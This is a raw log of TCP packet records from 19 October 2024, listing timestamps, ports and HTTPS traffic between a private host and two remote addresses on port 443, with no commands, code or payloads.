Oct 19, 2024 00:13:54.920938015 CEST	443	49759	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.127135992 CEST	443	49755	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.129198074 CEST	49755	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.129215956 CEST	443	49755	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.129793882 CEST	49755	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.129800081 CEST	443	49755	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.197866917 CEST	443	49756	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.202430010 CEST	49756	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.202452898 CEST	443	49756	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.202745914 CEST	443	49757	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.203335047 CEST	49756	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.203365088 CEST	443	49756	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.204219103 CEST	49757	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.204231024 CEST	443	49757	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.204917908 CEST	49757	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.204922915 CEST	443	49757	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.231542110 CEST	443	49758	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.237350941 CEST	49758	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.237364054 CEST	443	49758	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.240070105 CEST	49758	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.240073919 CEST	443	49758	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.261378050 CEST	443	49755	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.261745930 CEST	443	49755	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.261812925 CEST	49755	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.265954971 CEST	49755	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.265978098 CEST	443	49755	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.265989065 CEST	49755	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.266000032 CEST	443	49755	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.270636082 CEST	49760	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.270675898 CEST	443	49760	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.270766973 CEST	49760	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.270869970 CEST	49760	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.270893097 CEST	443	49760	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.330987930 CEST	443	49756	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.331057072 CEST	443	49756	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.331105947 CEST	49756	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.333741903 CEST	443	49757	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.333810091 CEST	443	49757	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.333864927 CEST	49757	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.334182024 CEST	49757	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.334194899 CEST	443	49757	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.334209919 CEST	49757	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.334216118 CEST	443	49757	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.339878082 CEST	49756	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.339910030 CEST	443	49756	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.358705997 CEST	49761	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.358736038 CEST	443	49761	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.358800888 CEST	49761	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.358982086 CEST	49761	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.358999014 CEST	443	49761	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.360622883 CEST	49762	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.360630035 CEST	443	49762	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.360681057 CEST	49762	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.361958027 CEST	49762	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.361978054 CEST	443	49762	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.368335009 CEST	443	49758	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.368408918 CEST	443	49758	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.368451118 CEST	49758	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.369230986 CEST	49758	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.369255066 CEST	443	49758	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.369276047 CEST	49758	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.369282961 CEST	443	49758	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.380235910 CEST	49763	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.380279064 CEST	443	49763	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.380342007 CEST	49763	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.380824089 CEST	49763	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.380851030 CEST	443	49763	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.652848959 CEST	443	49759	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.653659105 CEST	49759	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.653690100 CEST	443	49759	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.654282093 CEST	49759	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.654300928 CEST	443	49759	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.785096884 CEST	443	49759	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.785274029 CEST	443	49759	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.785511017 CEST	49759	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.785660982 CEST	49759	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.785660982 CEST	49759	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.785682917 CEST	443	49759	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.785698891 CEST	443	49759	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.789609909 CEST	49764	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.789647102 CEST	443	49764	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.789731026 CEST	49764	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.790160894 CEST	49764	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.790179014 CEST	443	49764	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.989270926 CEST	443	49760	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.990190029 CEST	49760	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.990202904 CEST	443	49760	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.990895987 CEST	49760	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:55.990900993 CEST	443	49760	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:55.991409063 CEST	49765	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:13:55.991451979 CEST	443	49765	20.190.160.14	192.168.2.10
Oct 19, 2024 00:13:55.991539001 CEST	49765	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:13:55.993629932 CEST	49765	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:13:55.993638992 CEST	443	49765	20.190.160.14	192.168.2.10
Oct 19, 2024 00:13:56.091424942 CEST	443	49761	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.113255024 CEST	443	49762	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.114063978 CEST	443	49763	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.119781017 CEST	443	49760	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.120182037 CEST	443	49760	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.120559931 CEST	49760	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.136831999 CEST	49761	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.155530930 CEST	49763	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.155544996 CEST	443	49763	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.156016111 CEST	49763	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.156021118 CEST	443	49763	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.156228065 CEST	49760	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.156244993 CEST	443	49760	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.156275988 CEST	49760	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.156282902 CEST	443	49760	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.158071995 CEST	49762	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.158114910 CEST	443	49762	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.158750057 CEST	49762	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.158762932 CEST	443	49762	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.162729025 CEST	49761	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.162746906 CEST	443	49761	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.163228035 CEST	49761	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.163235903 CEST	443	49761	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.281941891 CEST	443	49763	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.282339096 CEST	443	49763	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.282963037 CEST	49763	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.288945913 CEST	443	49762	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.289346933 CEST	443	49762	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.289402962 CEST	49762	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.289637089 CEST	443	49761	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.290587902 CEST	443	49761	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.294018030 CEST	49761	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.299958944 CEST	49761	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.299958944 CEST	49761	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.299979925 CEST	443	49761	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.299989939 CEST	443	49761	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.300101042 CEST	49762	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.300105095 CEST	443	49762	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.300126076 CEST	49762	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.300131083 CEST	443	49762	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.550071001 CEST	443	49764	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.605608940 CEST	49764	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.622618914 CEST	49764	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.622641087 CEST	443	49764	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.623644114 CEST	49764	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.623652935 CEST	443	49764	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.625003099 CEST	49763	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.625021935 CEST	443	49763	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.625314951 CEST	49763	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.625324965 CEST	443	49763	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.647262096 CEST	49766	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.647309065 CEST	443	49766	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.647568941 CEST	49766	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.647910118 CEST	49766	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.647922039 CEST	443	49766	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.648904085 CEST	49767	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.648941040 CEST	443	49767	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.649255037 CEST	49767	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.650383949 CEST	49767	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.650402069 CEST	443	49767	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.651827097 CEST	49768	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.651860952 CEST	443	49768	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.651933908 CEST	49768	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.652143955 CEST	49768	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.652153969 CEST	443	49768	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.654098034 CEST	49769	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.654139042 CEST	443	49769	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.654205084 CEST	49769	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.654628992 CEST	49769	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.654644966 CEST	443	49769	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.756920099 CEST	443	49764	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.757177114 CEST	443	49764	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.757225037 CEST	49764	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.771594048 CEST	49764	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.771594048 CEST	49764	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.771620989 CEST	443	49764	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.771636009 CEST	443	49764	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.852287054 CEST	49770	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.852334976 CEST	443	49770	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:56.852412939 CEST	49770	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.852647066 CEST	49770	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:56.852663040 CEST	443	49770	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.126239061 CEST	443	49765	20.190.160.14	192.168.2.10
Oct 19, 2024 00:13:57.126312017 CEST	49765	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:13:57.371586084 CEST	443	49766	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.372070074 CEST	49766	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.372096062 CEST	443	49766	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.372750998 CEST	49766	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.372757912 CEST	443	49766	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.401213884 CEST	443	49767	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.401822090 CEST	49767	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.401833057 CEST	443	49767	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.402224064 CEST	49767	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.402229071 CEST	443	49767	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.409564972 CEST	443	49769	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.410058975 CEST	49769	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.410069942 CEST	443	49769	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.410501957 CEST	49769	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.410506010 CEST	443	49769	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.410783052 CEST	443	49768	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.411048889 CEST	49768	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.411066055 CEST	443	49768	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.411407948 CEST	49768	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.411413908 CEST	443	49768	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.499594927 CEST	443	49766	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.499669075 CEST	443	49766	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.499850035 CEST	49766	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.500017881 CEST	49766	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.500017881 CEST	49766	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.500039101 CEST	443	49766	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.500050068 CEST	443	49766	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.503348112 CEST	49772	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.503407955 CEST	443	49772	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.503493071 CEST	49772	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.503643990 CEST	49772	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.503655910 CEST	443	49772	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.532814980 CEST	443	49767	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.533479929 CEST	443	49767	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.533561945 CEST	49767	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.533584118 CEST	49767	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.533598900 CEST	443	49767	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.533608913 CEST	49767	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.533617020 CEST	443	49767	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.536600113 CEST	49773	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.536642075 CEST	443	49773	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.536714077 CEST	49773	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.536957026 CEST	49773	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.536977053 CEST	443	49773	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.543353081 CEST	443	49769	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.543422937 CEST	443	49769	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.543642044 CEST	49769	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.545820951 CEST	49769	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.545834064 CEST	443	49769	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.545840979 CEST	49769	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.545845985 CEST	443	49769	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.548806906 CEST	443	49768	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.548886061 CEST	443	49768	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.548938036 CEST	49768	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.549309969 CEST	49774	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.549314976 CEST	49768	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.549335957 CEST	443	49768	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.549349070 CEST	49768	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.549349070 CEST	443	49774	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.549355030 CEST	443	49768	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.549443960 CEST	49774	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.549618006 CEST	49774	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.549629927 CEST	443	49774	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.551922083 CEST	49775	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.551951885 CEST	443	49775	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.552088022 CEST	49775	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.552259922 CEST	49775	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:57.552269936 CEST	443	49775	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:57.797651052 CEST	49765	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:13:57.797669888 CEST	443	49765	20.190.160.14	192.168.2.10
Oct 19, 2024 00:13:57.797966957 CEST	443	49765	20.190.160.14	192.168.2.10
Oct 19, 2024 00:13:57.799154997 CEST	49765	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:13:57.799215078 CEST	49765	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:13:57.799246073 CEST	443	49765	20.190.160.14	192.168.2.10
Oct 19, 2024 00:13:58.167819023 CEST	443	49765	20.190.160.14	192.168.2.10
Oct 19, 2024 00:13:58.167845011 CEST	443	49765	20.190.160.14	192.168.2.10
Oct 19, 2024 00:13:58.167881966 CEST	443	49765	20.190.160.14	192.168.2.10
Oct 19, 2024 00:13:58.167912006 CEST	49765	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:13:58.167918921 CEST	443	49765	20.190.160.14	192.168.2.10
Oct 19, 2024 00:13:58.167963982 CEST	49765	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:13:58.168612003 CEST	49765	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:13:58.168637037 CEST	49765	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:13:58.168756962 CEST	443	49765	20.190.160.14	192.168.2.10
Oct 19, 2024 00:13:58.168783903 CEST	443	49765	20.190.160.14	192.168.2.10
Oct 19, 2024 00:13:58.168843031 CEST	49765	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:13:58.226099968 CEST	443	49772	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.226516962 CEST	49772	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.226537943 CEST	443	49772	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.228738070 CEST	49772	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.228746891 CEST	443	49772	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.268697023 CEST	443	49773	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.282358885 CEST	49773	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.282385111 CEST	443	49773	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.282931089 CEST	49773	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.282939911 CEST	443	49773	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.301610947 CEST	443	49774	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.302088022 CEST	49774	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.302102089 CEST	443	49774	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.302541971 CEST	49774	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.302552938 CEST	443	49774	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.327903986 CEST	49777	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:13:58.327954054 CEST	443	49777	20.190.160.14	192.168.2.10
Oct 19, 2024 00:13:58.328048944 CEST	49777	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:13:58.328275919 CEST	49777	443	192.168.2.10	20.190.160.14
Oct 19, 2024 00:13:58.328290939 CEST	443	49777	20.190.160.14	192.168.2.10
Oct 19, 2024 00:13:58.332832098 CEST	443	49775	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.333275080 CEST	49775	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.333287001 CEST	443	49775	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.333744049 CEST	49775	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.333749056 CEST	443	49775	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.353940964 CEST	443	49772	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.354032040 CEST	443	49772	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.354084969 CEST	49772	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.354254961 CEST	49772	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.354264975 CEST	443	49772	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.354271889 CEST	49772	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.354276896 CEST	443	49772	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.357394934 CEST	49778	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.357433081 CEST	443	49778	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.357553959 CEST	49778	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.357749939 CEST	49778	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.357768059 CEST	443	49778	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.418031931 CEST	443	49773	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.418407917 CEST	443	49773	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.418490887 CEST	49773	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.418525934 CEST	49773	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.418525934 CEST	49773	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.418545961 CEST	443	49773	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.418550014 CEST	443	49773	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.421551943 CEST	49779	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.421593904 CEST	443	49779	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.421689987 CEST	49779	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.421845913 CEST	49779	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.421859980 CEST	443	49779	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.460527897 CEST	443	49774	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.460843086 CEST	443	49774	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.460911989 CEST	49774	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.462896109 CEST	49774	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.462896109 CEST	49774	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.462917089 CEST	443	49774	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.462922096 CEST	443	49774	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.463548899 CEST	49780	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.463591099 CEST	443	49780	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.463695049 CEST	49780	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.463821888 CEST	49780	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.463835001 CEST	443	49780	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.466154099 CEST	443	49775	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.466259003 CEST	443	49775	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.466413975 CEST	49775	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.466459036 CEST	49775	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.466475964 CEST	443	49775	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.469378948 CEST	49781	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.469419003 CEST	443	49781	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:58.469541073 CEST	49781	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:58.469686031 CEST	49781	443	192.168.2.10	13.107.246.45
